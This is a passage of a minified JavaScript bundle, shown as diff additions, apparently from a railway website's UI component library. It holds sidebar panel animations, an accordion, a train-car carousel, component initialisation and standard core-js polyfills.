"nav-sidebar--panel") && !s.hasClass(i, "nav-sidebar--navigation")) k(e, o.scrollFixedSidebar) + }) + }); + window.addEventListener("resize", function (e) { + if (!s.hasClass(i, "nav-sidebar--panel") && !s.hasClass(i, "nav-sidebar--open")) { + return + } + if (window.innerWidth > c.breakpointMobile && v == "small") { + v = "large"; + l.TweenLite.set(_ + ", .nav-sidebar__block", { + clearProps: "all" + }); + if (s.hasClass(i, "nav-sidebar--panel")) { + (0, o.ToggleMobileNavigationNavSidebar)(); + s.addClass(i, "nav-sidebar--open") + } + L(e, _, o.scrollFixedSidebar, true); + return + } + if (window.innerWidth < 992 && v == "large") { + v = "small"; + if (!w(i, "planner") && s.hasClass(i, "nav-sidebar--panel")) { + (0, o.ToggleMobileNavigationNavSidebar)(); + s.addClass(i, "nav-sidebar--open"); + (0, o.changeMenuLinks)("back") + } + l.TweenLite.set(".nav-sidebar__block", { + clearProps: "all" + }); + T(e, _, p, true) + } + }) + }; + var b = function e() { + return s.get("" + f.sidebar) + }; + var w = function e(t, i) { + return s.hasClass(t, "nav-sidebar-panel--" + i) + }; + var M = function e() { + var t = s.get(f.arrowState, b(), true); + if (!t) { + return + }(0, r.default)(t).forEach(function (e) { + s.removeClass(e, f.arrowState.replace(".", "")) + }) + }; + var k = function e(t, i) { + t.preventDefault(); + var n = s.get(_); + if (m) { + (0, o.ToggleMobileNavigationNavSidebar)(false); + m.eventCallback("onReverseComplete", function () { + s.removeClass(n.closest(f.sidebar), ["nav-sidebar--panel"]); + s.removeClass(n, "nav-sidebar-panel--open"); + M(); + if (i) { + setTimeout(i, 1) + } + }); + m.reverse(0) + } else if (_) { + L(t, _, i, true) + } else { + i() + } + if (!t.noLockRemoval) { + s.removeClass(s.get("main"), "lock") + } + }; + var L = function e(t, i, n) { + var r = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : false; + t.preventDefault(); + M(); + if (_ !== i) { + k(t, function () { + D(i, n, r) + }) + } else { + D(i, n, r) + } + p = ".nav-sidebar__block--active" + }; + var T = function e(t, i, n) { + var r = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : false; + var a = arguments[4]; + if (i) { + L(t, i, o.scrollFixedSidebar, r) + } + p = n; + h = new l.TimelineLite; + if (a) { + h.eventCallback("onComplete", a) + } + x(n, r) + }; + var x = function e(t, i) { + if (t instanceof NodeList && typeof t[1] != "undefined") { + s.removeClass(b(), "nav-sidebar--hide-second"); + s.removeClass(t[0], f.sidebarActiveBlock.replace(".", "")); + s.addClass(t[1], f.sidebarActiveBlock.replace(".", "")); + h.set(t[0], { + xPercent: 0, + force3D: true + }); + h.set(t[1], { + xPercent: 102, + force3D: true + }); + h.to(t[0], c.animationTimeSmall, { + xPercent: -102, + force3D: true, + ease: c.easing + }); + h.to(t[1], c.animationTimeSmall, { + xPercent: 0, + force3D: true, + ease: c.easing + }, 0) + } else { + h.set(t, { + xPercent: 0, + force3D: true + }); + h.to(t, c.animationTimeSmall, { + xPercent: -102, + ease: c.easing + }) + } + if (i) { + h.progress(1) + } + }; + var S = function e(t, i) { + if (h) { + if (i) { + h.eventCallback("onReverseComplete", i) + } + h.reverse(0); + return + } + T(t, _, p, true, function () { + e(t, i) + }) + }; + var Y = function e(t) { + _ = t + }; + var D = function e(t, i) { + var n = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false; + Y(t); + var r = s.get(_); + E(r.getAttribute("data-type")); + if (_ == f.panelExtraOptions || _ == f.panelInfo) { + var a = !s.hasClass(b(), "nav-sidebar--detail-panel") ? ["nav-sidebar--panel", "nav-sidebar--black-only-mobile"] : "nav-sidebar--panel"; + s.addClass(r.closest(f.sidebar), a) + } else { + s.addClass(r.closest(f.sidebar), "nav-sidebar--panel") + } + s.addClass(r, "nav-sidebar-panel--open"); + m = new l.TimelineLite; + if (window.innerWidth < 992) { + m.set(_, { + xPercent: 100 + }) + } else { + m.set(_, { + xPercent: -102 + }) + } + m.to(_, g, { + xPercent: 0, + opacity: 1, + ease: c.easing, + force3D: true + }, c.animationTimeOutDelay); + if (n) { + m.progress(1, false) + } + if (i) { + m.eventCallback("onComplete", i) + } + }; + var E = function e(t) { + g = c.animationTimeSmall; + c.animationTimeOutDelay = 0; + if (window.innerWidth < c.breakpointMobile) { + return + } + if (t == "large") { + g = c.animationTimeLarge + } else if (t == "medium") { + g = c.animationTimeMedium + } + }; + t.default = y; + t.ClosePanelAnimation = k; + t.setCurrentPanel = Y; + t.playInlineSwitch = T; + t.reverseInlineSwitch = S + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = i(114); + var r = y(n); + var a = i(3); + var s = y(a); + var o = i(1); + var l = y(o); + var u = i(6); + var d = y(u); + var f = i(4); + var c = y(f); + var h = i(5); + var m = y(h); + var p = i(7); + var v = i(69); + var _ = i(2); + var g = i(15); + + function y(e) { + return e && e.__esModule ? e : { + default: e + } + } + var b = 32; + var w = 13; + var M = function (e) { + (0, m.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, l.default)(this, t); + var n = (0, c.default)(this, (t.__proto__ || (0, s.default)(t)).call(this, e)); + n.state = { + isOpen: false + }; + n.el = e; + n.content = e.querySelector(".accordion__content"); + n.icon = e.querySelector(".accordion__icon"); + n.trigger = e.querySelector(".accordion__trigger"); + if (n.trigger) { + n.trigger.setAttribute("aria-expanded", false) + } + n.bindEvents(); + return n + }(0, d.default)(t, [{ + key: "bindEvents", + value: function e() { + this.handleToggle = this.handleToggle.bind(this); + this.handleKeyDown = this.handleKeyDown.bind(this); + if (this.trigger) { + this.trigger.addEventListener("click", this.handleToggle); + this.trigger.addEventListener("keydown", this.handleKeyDown) + } + } + }, { + key: "handleKeyDown", + value: function e(t) { + var i = t.keyCode || t.which; + if (i === b || i === w) { + t.preventDefault(); + this.handleToggle(true) + } + } + }, { + key: "handleToggle", + value: function e(t) { + if (this.state.isOpen) { + this.close(t) + } else { + this.open(t) + } + } + }, { + key: "open", + value: function e(t) { + var i = this; + this.content.style.height = "auto"; + this.content.style.visibility = "hidden"; + this.content.style.display = "block"; + this.content.style.position = "absolute"; + this.content.style.overflow = "hidden"; + this.trigger.setAttribute("aria-expanded", true); + var n = this.content.offsetHeight; + this.content.style.position = "relative"; + this.content.style.visibility = "visible"; + this.content.style.height = 0; + v.TweenMax.to(this.content, .25, { + height: n, + onComplete: function e() { + i.content.style.height = "auto"; + t && i.scrollVisible() + } + }); + if (this.icon) { + v.TweenMax.set(this.icon, { + rotation: 90 + }) + } + this.state = (0, r.default)({}, this.state, { + isOpen: true + }) + } + }, { + key: "scrollVisible", + value: function e() { + var t = document.documentElement; + var i = (window.pageYOffset || t.scrollTop) - (t.clientTop || 0); + var n = this.el.getBoundingClientRect(), + r = n.top, + a = n.height; + var s = r + i + a; + if (a >= window.innerHeight) { + var o = document.body.classList.contains("cookied") ? document.querySelector(".cookie-notice").getBoundingClientRect() : document.querySelector(".navigation-bar").getBoundingClientRect(), + l = o.height; + var u = l; + window.scrollTo(0, i + r - u) + } else if (s > window.innerHeight + i) { + window.scrollTo(0, s - window.innerHeight + 20) + } + } + }, { + key: "close", + value: function e(t) { + var i = this; + v.TweenMax.to(this.content, .25, { + height: 0, + onComplete: function e() { + i.content.style.display = "none" + } + }); + if (this.icon) { + v.TweenMax.set(this.icon, { + rotation: 0 + }) + } + this.trigger.setAttribute("aria-expanded", false); + this.state = (0, r.default)({}, this.state, { + isOpen: false + }) + } + }]); + return t + }(_.Component); + M.default_settings = { + attributes: false + }; + t.default = M + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = i(13); + var r = p(n); + var a = i(1); + var s = p(a); + var o = i(6); + var l = p(o); + var u = i(7); + var d = m(u); + var f = i(69); + var c = i(453); + var h = p(c); + + function m(e) { + if (e && e.__esModule) { + return e + } else { + var t = {}; + if (e != null) { + for (var i in e) { + if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] + } + } + t.default = e; + return t + } + } + + function p(e) { + return e && e.__esModule ? e : { + default: e + } + } + var v = function () { + function e(t) { + var i = this; + (0, s.default)(this, e); + this.el = t; + this.carsContainer = this.el.querySelector(".train-details-visual"); + this.carsList = this.carsContainer.querySelector("ol"); + this.cars = (0, r.default)(this.carsContainer.querySelectorAll("li")); + this.carsLength = this.cars.reduce(function (e, t) { + return e + t.offsetWidth + }, 0); + var n = (0, r.default)(this.el.querySelectorAll(".train-details-visual-nav a")); + var a = n[0]; + var o = n[1]; + this.nudgeStep = 120; + this.currentEl = 0; + this.startX = 0; + a.addEventListener("click", this.goLeft.bind(this)); + o.addEventListener("click", this.goRight.bind(this)); + this.hammertime = new h.default(this.carsContainer, {}); + this.hammertime.on("panstart", function (e) { + i.startX = i.carsList.offsetLeft + }); + this.hammertime.on("panmove", function (e) { + var t = i.startX - 110 + e.deltaX; + var n = -110 - (i.carsLength - i.carsContainer.offsetWidth); + if (t < n) { + t = n + } + var r = 0; + if (t > r) { + t = r + } + i.carsList.style.left = t + "px" + }); + window.addEventListener("resize", this.onResize.bind(this)) + }(0, l.default)(e, [{ + key: "onResize", + value: function e() { + this.currentEl = 0; + this.nudge(); + this.decideNav() + } + }, { + key: "goLeft", + value: function e(t) { + t.preventDefault(); + this.currentEl--; + if (this.currentEl < 0) { + this.currentEl = 0 + } + this.nudge(); + return false + } + }, { + key: "goRight", + value: function e(t) { + t.preventDefault(); + if (this.carsLength - this.nudgeAmount() + this.nudgeStep < this.el.offsetWidth) { + return false + } + this.currentEl++; + if (this.currentEl > this.cars.length - 1) { + this.currentEl = this.cars.length - 1 + } + this.nudge(); + return false + } + }, { + key: "nudgeAmount", + value: function e() { + var t = this.currentEl > 0 ? 145 + (this.currentEl - 1) * this.nudgeStep : 0; + t += this.currentEl * 2; + return t + } + }, { + key: "nudge", + value: function e() { + f.TweenMax.to(this.carsList, .25, { + left: this.nudgeAmount() * -1 + }) + } + }, { + key: "decideNav", + value: function e() { + if (this.carsLength <= this.el.offsetWidth) { + this.el.querySelector(".train-details-visual-nav").classList.add("display-none") + } else { + this.el.querySelector(".train-details-visual-nav").classList.remove("display-none") + } + } + }]); + return e + }(); + t.default = v + }, function (e, t, i) { + i(171); + i(172); + i(173); + i(174); + i(175); + i(176); + i(177); + i(178); + i(179); + i(180); + i(181); + i(182); + i(183); + i(184); + i(185); + i(186); + i(187); + i(188); + i(189); + i(190); + i(191); + i(192); + i(193); + i(194); + i(195); + i(196); + i(197); + i(198); + i(199); + i(200); + i(201); + i(202); + i(203); + i(204); + i(205); + i(206); + i(207); + i(208); + i(209); + i(210); + i(211); + i(212); + i(213); + i(214); + i(215); + i(216); + i(217); + i(218); + i(219); + i(220); + i(221); + i(222); + i(223); + i(224); + i(225); + i(226); + i(227); + i(228); + i(229); + i(230); + i(231); + i(232); + i(233); + i(234); + i(235); + i(236); + i(237); + i(238); + i(239); + i(240); + i(241); + i(242); + i(243); + i(244); + i(245); + i(246); + i(247); + i(248); + i(249); + i(250); + i(251); + i(252); + i(253); + i(254); + i(255); + i(256); + i(257); + e.exports = i(258) + }, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t) {}, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + t.TrainDetail = t.Wizard = t.TooltipTrigger = t.TimeTable = t.TimePicker = t.Ticket = t.TeaserList = t.Tabs = t.SwitchPrice = t.Switch = t.Sidebar = t.Select = t.RouteSearch = t.CartDropdown = t.RouteTypeInput = t.PopupTrigger = t.Popup = t.PageNotice = t.NumericInputField = t.Navigation = t.InputField = t.Icons = t.HighlightBlockCarousel = t.FooterAccordion = t.Dropdown = t.DirectionsInput = t.DatePicker = t.CookieNotice = t.Checkbox = t.AmountPicker = t.Alert = t.Accordion = t.default = undefined; + var n = i(13); + var r = Te(n); + i(274); + i(275); + i(280); + i(281); + i(282); + i(283); + i(284); + i(285); + i(286); + i(287); + i(288); + i(290); + i(291); + i(292); + i(293); + i(294); + i(296); + i(297); + i(298); + i(299); + i(300); + i(301); + i(302); + i(303); + i(304); + i(305); + i(306); + i(307); + i(311); + i(314); + i(315); + i(316); + i(317); + i(318); + i(319); + i(320); + i(321); + i(322); + i(323); + i(324); + i(325); + i(327); + i(328); + i(329); + i(330); + i(331); + i(333); + i(334); + i(335); + i(336); + i(337); + i(339); + i(340); + i(341); + i(342); + i(343); + i(344); + i(345); + i(346); + i(347); + i(348); + i(102); + i(349); + i(350); + i(351); + i(352); + i(353); + i(354); + i(355); + i(356); + i(357); + i(358); + i(359); + i(360); + i(361); + i(362); + i(363); + i(365); + i(366); + i(367); + i(368); + i(369); + i(370); + i(371); + i(372); + i(373); + i(374); + i(375); + i(376); + i(377); + i(378); + i(379); + i(380); + i(381); + i(382); + i(383); + i(384); + i(386); + i(387); + var a = i(2); + var s = i(411); + var o = Te(s); + var l = i(153); + var u = Te(l); + var d = i(424); + var f = Te(d); + var c = i(155); + var h = Te(c); + var m = i(425); + var p = Te(m); + var v = i(426); + var _ = Te(v); + var g = i(427); + var y = Te(g); + var b = i(428); + var w = Te(b); + var M = i(429); + var k = Te(M); + var L = i(430); + var T = Te(L); + var x = i(431); + var S = Te(x); + var Y = i(160); + var D = Te(Y); + var E = i(162); + var C = Te(E); + var P = i(441); + var A = Te(P); + var O = i(443); + var j = Te(O); + var H = i(447); + var I = Te(H); + var F = i(448); + var z = Te(F); + var R = i(449); + var N = Te(R); + var W = i(451); + var B = Te(W); + var q = i(452); + var $ = Te(q); + var V = i(169); + var G = Te(V); + var U = i(454); + var X = Te(U); + var J = i(168); + var K = Te(J); + var Q = i(455); + var Z = Te(Q); + var ee = i(456); + var te = Te(ee); + var ie = i(457); + var ne = Te(ie); + var re = i(461); + var ae = Te(re); + var se = i(462); + var oe = Te(se); + var le = i(463); + var ue = i(464); + var de = Te(ue); + var fe = i(465); + var ce = Te(fe); + var he = i(466); + var me = Te(he); + var pe = i(467); + var ve = Te(pe); + var _e = i(468); + var ge = Te(_e); + var ye = i(471); + var be = Te(ye); + var we = i(472); + var Me = Te(we); + var ke = i(157); + var Le = Te(ke); + + function Te(e) { + return e && e.__esModule ? e : { + default: e + } + } + console && console.log && console.log({ + VERSION: "0.74.0", + PRODUCTION: true, + "process.env": Object({ + NODE_ENV: "production" + }) + }); + var xe = function e() { + (0, j.default)(".nav-sidebar--navigation"); + (0, z.default)(".sidebar"); + (0, a.init)(T.default, "#js-cart-dropdown"); + (0, a.init)(K.default, ".js-accordion"); + (0, a.init)(X.default, ".alert"); + (0, a.init)(w.default, ".js-amountpicker"); + (0, a.init)(k.default, ".chk"); + (0, a.init)(me.default, ".js-cookie-notice"); + (0, a.init)(D.default, ".js-datepicker"); + (0, a.init)(te.default, ".js-directions-input"); + (0, a.init)($.default, ".js-dropdown"); + (0, a.init)(B.default, ".js-footer-accordion"); + (0, a.init)(le.HighlightBlockCarousel, ".js-highlight-block-carousel"); + (0, a.init)(u.default, ".js-input"); + (0, a.init)(f.default, ".input-numeric"); + (0, a.init)(ve.default, ".js-page-notice"); + (0, a.init)(E.PopupTrigger, ".js-popup-trigger"); + (0, a.init)(I.default, ".js-navigation-search"); + (0, a.init)(Z.default, ".js-route-type-input"); + (0, a.init)(h.default, ".js-select"); + (0, a.init)(p.default, ".js-switch"); + (0, a.init)(_.default, ".js-switch-price"); + (0, a.init)(ce.default, ".js-tabs"); + (0, a.init)(ge.default, ".js-teaser-list"); + (0, a.init)(de.default, ".js-ticket"); + (0, a.init)(S.default, ".js-quotes"); + (0, a.init)(y.default, ".js-timepicker"); + (0, a.init)(ne.default, ".js-route-search"); + (0, a.init)(ae.default, ".js-time-table"); + (0, a.init)(N.default, ".tooltip-trigger"); + (0, a.init)(oe.default, ".route-planner"); + (0, a.init)(be.default, ".radio"); + (0, a.init)(be.default, ".checkbox"); + (0, a.init)(Me.default, ".js-timeout-modal"); + (0, r.default)(document.querySelectorAll("svg:not([focusable])")).forEach(function (e) { + e.setAttribute("focusable", false) + }); + (0, Le.default)(); + var t = new CustomEvent("NMBSLibraryInited"); + document.dispatchEvent(t) + }; + if (!(document.documentElement.hasAttribute("data-init") && document.documentElement.getAttribute("data-init") == "off")) { + if (document.readyState === "loading") { + document.addEventListener("DOMContentLoaded", xe) + } else { + xe() + } + } + t.default = a.init; + t.Accordion = K.default; + t.Alert = X.default; + t.AmountPicker = w.default; + t.Checkbox = k.default; + t.CookieNotice = me.default; + t.DatePicker = D.default; + t.DirectionsInput = te.default; + t.Dropdown = $.default; + t.FooterAccordion = B.default; + t.HighlightBlockCarousel = le.HighlightBlockCarousel; + t.Icons = o.default; + t.InputField = u.default; + t.Navigation = j.default; + t.NumericInputField = f.default; + t.PageNotice = ve.default; + t.Popup = C.default; + t.PopupTrigger = E.PopupTrigger; + t.RouteTypeInput = Z.default; + t.CartDropdown = T.default; + t.RouteSearch = ne.default; + t.Select = h.default; + t.Sidebar = z.default; + t.Switch = p.default; + t.SwitchPrice = _.default; + t.Tabs = ce.default; + t.TeaserList = ge.default; + t.Ticket = de.default; + t.TimePicker = y.default; + t.TimeTable = ae.default; + t.TooltipTrigger = N.default; + t.Wizard = A.default; + t.TrainDetail = G.default + }, function (e, t, i) { + i(118); + i(267); + e.exports = i(14).Array.from + }, function (e, t, i) { + var n = i(80); + var r = i(81); + e.exports = function (e) { + return function (t, i) { + var a = String(r(t)); + var s = n(i); + var o = a.length; + var l, u; + if (s < 0 || s >= o) return e ? "" : undefined; + l = a.charCodeAt(s); + return l < 55296 || l > 56319 || s + 1 === o || (u = a.charCodeAt(s + 1)) < 56320 || u > 57343 ? e ? a.charAt(s) : l : e ? a.slice(s, s + 2) : (l - 55296 << 10) + (u - 56320) + 65536 + } + } + }, function (e, t) { + e.exports = function (e) { + if (typeof e != "function") throw TypeError(e + " is not a function!"); + return e + } + }, function (e, t, i) { + "use strict"; + var n = i(84); + var r = i(60); + var a = i(89); + var s = {}; + i(44)(s, i(21)("iterator"), function () { + return this + }); + e.exports = function (e, t, i) { + e.prototype = n(s, { + next: r(1, i) + }); + a(e, t + " Iterator") + } + }, function (e, t, i) { + var n = i(30); + var r = i(45); + var a = i(48); + e.exports = i(34) ? Object.defineProperties : function e(t, i) { + r(t); + var s = a(i); + var o = s.length; + var l = 0; + var u; + while (o > l) n.f(t, u = s[l++], i[u]); + return t + } + }, function (e, t, i) { + var n = i(31); + var r = i(125); + var a = i(265); + e.exports = function (e) { + return function (t, i, s) { + var o = n(t); + var l = r(o.length); + var u = a(s, l); + var d; + if (e && i != i) + while (l > u) { + d = o[u++]; + if (d != d) return true + } else + for (; l > u; u++) + if (e || u in o) { + if (o[u] === i) return e || u || 0 + } + return !e && -1 + } + } + }, function (e, t, i) { + var n = i(80); + var r = Math.max; + var a = Math.min; + e.exports = function (e, t) { + e = n(e); + return e < 0 ? r(e + t, 0) : a(e, t) + } + }, function (e, t, i) { + var n = i(29).document; + e.exports = n && n.documentElement + }, function (e, t, i) { + "use strict"; + var n = i(82); + var r = i(24); + var a = i(62); + var s = i(268); + var o = i(269); + var l = i(125); + var u = i(270); + var d = i(271); + r(r.S + r.F * !i(273)(function (e) { + Array.from(e) + }), "Array", { + from: function e(t) { + var i = a(t); + var r = typeof this == "function" ? this : Array; + var f = arguments.length; + var c = f > 1 ? arguments[1] : undefined; + var h = c !== undefined; + var m = 0; + var p = d(i); + var v, _, g, y; + if (h) c = n(c, f > 2 ? arguments[2] : undefined, 2); + if (p != undefined && !(r == Array && o(p))) { + for (y = p.call(i), _ = new r; !(g = y.next()).done; m++) { + u(_, m, h ? s(y, c, [g.value, m], true) : g.value) + } + } else { + v = l(i.length); + for (_ = new r(v); v > m; m++) { + u(_, m, h ? c(i[m], m) : i[m]) + } + } + _.length = m; + return _ + } + }) + }, function (e, t, i) { + var n = i(45); + e.exports = function (e, t, i, r) { + try { + return r ? t(n(i)[0], i[1]) : t(i) + } catch (t) { + var a = e["return"]; + if (a !== undefined) n(a.call(e)); + throw t + } + } + }, function (e, t, i) { + var n = i(61); + var r = i(21)("iterator"); + var a = Array.prototype; + e.exports = function (e) { + return e !== undefined && (n.Array === e || a[r] === e) + } + }, function (e, t, i) { + "use strict"; + var n = i(30); + var r = i(60); + e.exports = function (e, t, i) { + if (t in e) n.f(e, t, r(0, i)); + else e[t] = i + } + }, function (e, t, i) { + var n = i(272); + var r = i(21)("iterator"); + var a = i(61); + e.exports = i(14).getIteratorMethod = function (e) { + if (e != undefined) return e[r] || e["@@iterator"] || a[n(e)] + } + }, function (e, t, i) { + var n = i(85); + var r = i(21)("toStringTag"); + var a = n(function () { + return arguments + }()) == "Arguments"; + var s = function (e, t) { + try { + return e[t] + } catch (e) {} + }; + e.exports = function (e) { + var t, i, o; + return e === undefined ? "Undefined" : e === null ? "Null" : typeof (i = s(t = Object(e), r)) == "string" ? i : a ? n(t) : (o = n(t)) == "Object" && typeof t.callee == "function" ? "Arguments" : o + } + }, function (e, t, i) { + var n = i(21)("iterator"); + var r = false; + try { + var a = [7][n](); + a["return"] = function () { + r = true + }; + Array.from(a, function () { + throw 2 + }) + } catch (e) {} + e.exports = function (e, t) { + if (!t && !r) return false; + var i = false; + try { + var a = [7]; + var s = a[n](); + s.next = function () { + return { + done: i = true + } + }; + a[n] = function () { + return s + }; + e(a) + } catch (e) {} + return i + } + }, function (e, t, i) { + "use strict"; + var n = i(0); + var r = i(91); + var a = i(128); + var s = i(10); + var o = i(52); + var l = i(17); + var u = i(8); + var d = i(9).ArrayBuffer; + var f = i(98); + var c = a.ArrayBuffer; + var h = a.DataView; + var m = r.ABV && d.isView; + var p = c.prototype.slice; + var v = r.VIEW; + var _ = "ArrayBuffer"; + n(n.G + n.W + n.F * (d !== c), { + ArrayBuffer: c + }); + n(n.S + n.F * !r.CONSTR, _, { + isView: function e(t) { + return m && m(t) || u(t) && v in t + } + }); + n(n.P + n.U + n.F * i(12)(function () { + return !new c(2).slice(1, undefined).byteLength + }), _, { + slice: function e(t, i) { + if (p !== undefined && i === undefined) return p.call(s(this), t); + var n = s(this).byteLength; + var r = o(t, n); + var a = o(i === undefined ? n : i, n); + var u = new(f(this, c))(l(a - r)); + var d = new h(this); + var m = new h(u); + var v = 0; + while (r < a) { + m.setUint8(v++, d.getUint8(r++)) + } + return u + } + }); + i(72)(_) + }, function (e, t, i) { + i(27)("Int8", 1, function (e) { + return function t(i, n, r) { + return e(this, i, n, r) + } + }) + }, function (e, t, i) { + var n = i(16); + var r = i(10); + var a = i(43); + e.exports = i(18) ? Object.defineProperties : function e(t, i) { + r(t); + var s = a(i); + var o = s.length; + var l = 0; + var u; + while (o > l) n.f(t, u = s[l++], i[u]); + return t + } + }, function (e, t, i) { + var n = i(278); + e.exports = function (e, t) { + return new(n(e))(t) + } + }, function (e, t, i) { + var n = i(8); + var r = i(132); + var a = i(11)("species"); + e.exports = function (e) { + var t; + if (r(e)) { + t = e.constructor; + if (typeof t == "function" && (t === Array || r(t.prototype))) t = undefined; + if (n(t)) { + t = t[a]; + if (t === null) t = undefined + } + } + return t === undefined ? Array : t + } + }, function (e, t, i) { + "use strict"; + var n = i(65); + var r = i(37); + var a = i(53); + var s = {}; + i(19)(s, i(11)("iterator"), function () { + return this + }); + e.exports = function (e, t, i) { + e.prototype = n(s, { + next: r(1, i) + }); + a(e, t + " Iterator") + } + }, function (e, t, i) { + i(27)("Uint8", 1, function (e) { + return function t(i, n, r) { + return e(this, i, n, r) + } + }) + }, function (e, t, i) { + i(27)("Uint8", 1, function (e) { + return function t(i, n, r) { + return e(this, i, n, r) + } + }, true) + }, function (e, t, i) { + i(27)("Int16", 2, function (e) { + return function t(i, n, r) { + return e(this, i, n, r) + } + }) + }, function (e, t, i) { + i(27)("Uint16", 2, function (e) { + return function t(i, n, r) { + return e(this, i, n, r) + } + }) + }, function (e, t, i) { + i(27)("Int32", 4, function (e) { + return function t(i, n, r) { + return e(this, i, n, r) + } + }) + }, function (e, t, i) { + i(27)("Uint32", 4, function (e) { + return function t(i, n, r) { + return e(this, i, n, r) + } + }) + }, function (e, t, i) { + i(27)("Float32", 4, function (e) { + return function t(i, n, r) { + return e(this, i, n, r) + } + }) + }, function (e, t, i) { + i(27)("Float64", 8, function (e) { + return function t(i, n, r) { + return e(this, i, n, r) + } + }) + }, function (e, t, i) { + "use strict"; + var n = i(136); + var r = i(57); + var a = "Map"; + e.exports = i(75)(a, function (e) { + return function t() { + return e(this, arguments.length > 0 ? arguments[0] : undefined) + } + }, { + get: function e(t) { + var i = n.getEntry(r(this, a), t); + return i && i.v + }, + set: function e(t, i) { + return n.def(r(this, a), t === 0 ? 0 : t, i) + } + }, n, true) + }, function (e, t, i) { + var n = i(8); + var r = i(103).set; + e.exports = function (e, t, i) { + var a = t.constructor; + var s; + if (a !== i && typeof a == "function" && (s = a.prototype) !== i.prototype && n(s) && r) { + r(e, s) + } + return e + } + }, function (e, t, i) { + "use strict"; + var n = i(136); + var r = i(57); + var a = "Set"; + e.exports = i(75)(a, function (e) { + return function t() { + return e(this, arguments.length > 0 ? arguments[0] : undefined) + } + }, { + add: function e(t) { + return n.def(r(this, a), t = t === 0 ? 0 : t, t) + } + }, n) + }, function (e, t, i) { + "use strict"; + var n = i(66)(0); + var r = i(32); + var a = i(33); + var s = i(138); + var o = i(139); + var l = i(8); + var u = i(12); + var d = i(57); + var f = "WeakMap"; + var c = a.getWeak; + var h = Object.isExtensible; + var m = o.ufstore; + var p = {}; + var v; + var _ = function (e) { + return function t() { + return e(this, arguments.length > 0 ? arguments[0] : undefined) + } + }; + var g = { + get: function e(t) { + if (l(t)) { + var i = c(t); + if (i === true) return m(d(this, f)).get(t); + return i ? i[this._i] : undefined + } + }, + set: function e(t, i) { + return o.def(d(this, f), t, i) + } + }; + var y = e.exports = i(75)(f, _, g, o, true, true); + if (u(function () { + return (new y).set((Object.freeze || Object)(p), 7).get(p) != 7 + })) { + v = o.getConstructor(_, f); + s(v.prototype, g); + a.NEED = true; + n(["delete", "has", "get", "set"], function (e) { + var t = y.prototype; + var i = t[e]; + r(t, e, function (t, n) { + if (l(t) && !h(t)) { + if (!this._f) this._f = new v; + var r = this._f[e](t, n); + return e == "set" ? this : r + } + return i.call(this, t, n) + }) + }) + } + }, function (e, t, i) { + "use strict"; + var n = i(139); + var r = i(57); + var a = "WeakSet"; + i(75)(a, function (e) { + return function t() { + return e(this, arguments.length > 0 ? arguments[0] : undefined) + } + }, { + add: function e(t) { + return n.def(r(this, a), t, true) + } + }, n, false, true) + }, function (e, t, i) { + var n = i(0); + var r = i(39); + var a = i(10); + var s = (i(9).Reflect || {}).apply; + var o = Function.apply; + n(n.S + n.F * !i(12)(function () { + s(function () {}) + }), "Reflect", { + apply: function e(t, i, n) { + var l = r(t); + var u = a(n); + return s ? s(l, i, u) : o.call(l, i, u) + } + }) + }, function (e, t, i) { + var n = i(0); + var r = i(65); + var a = i(39); + var s = i(10); + var o = i(8); + var l = i(12); + var u = i(295); + var d = (i(9).Reflect || {}).construct; + var f = l(function () { + function e() {} + return !(d(function () {}, [], e) instanceof e) + }); + var c = !l(function () { + d(function () {}) + }); + n(n.S + n.F * (f || c), "Reflect", { + construct: function e(t, i) { + a(t); + s(i); + var n = arguments.length < 3 ? t : a(arguments[2]); + if (c && !f) return d(t, i, n); + if (t == n) { + switch (i.length) { + case 0: + return new t; + case 1: + return new t(i[0]); + case 2: + return new t(i[0], i[1]); + case 3: + return new t(i[0], i[1], i[2]); + case 4: + return new t(i[0], i[1], i[2], i[3]) + } + var l = [null]; + l.push.apply(l, i); + return new(u.apply(t, l)) + } + var h = n.prototype; + var m = r(o(h) ? h : Object.prototype); + var p = Function.apply.call(t, m, i); + return o(p) ? p : m + } + }) + }, function (e, t, i) { + "use strict"; + var n = i(39); + var r = i(8); + var a = i(140); + var s = [].slice; + var o = {}; + var l = function (e, t, i) { + if (!(t in o)) { + for (var n = [], r = 0; r < t; r++) n[r] = "a[" + r + "]"; + o[t] = Function("F,a", "return new F(" + n.join(",") + ")") + } + return o[t](e, i) + }; + e.exports = Function.bind || function e(t) { + var i = n(this); + var o = s.call(arguments, 1); + var u = function () { + var e = o.concat(s.call(arguments)); + return this instanceof u ? l(i, 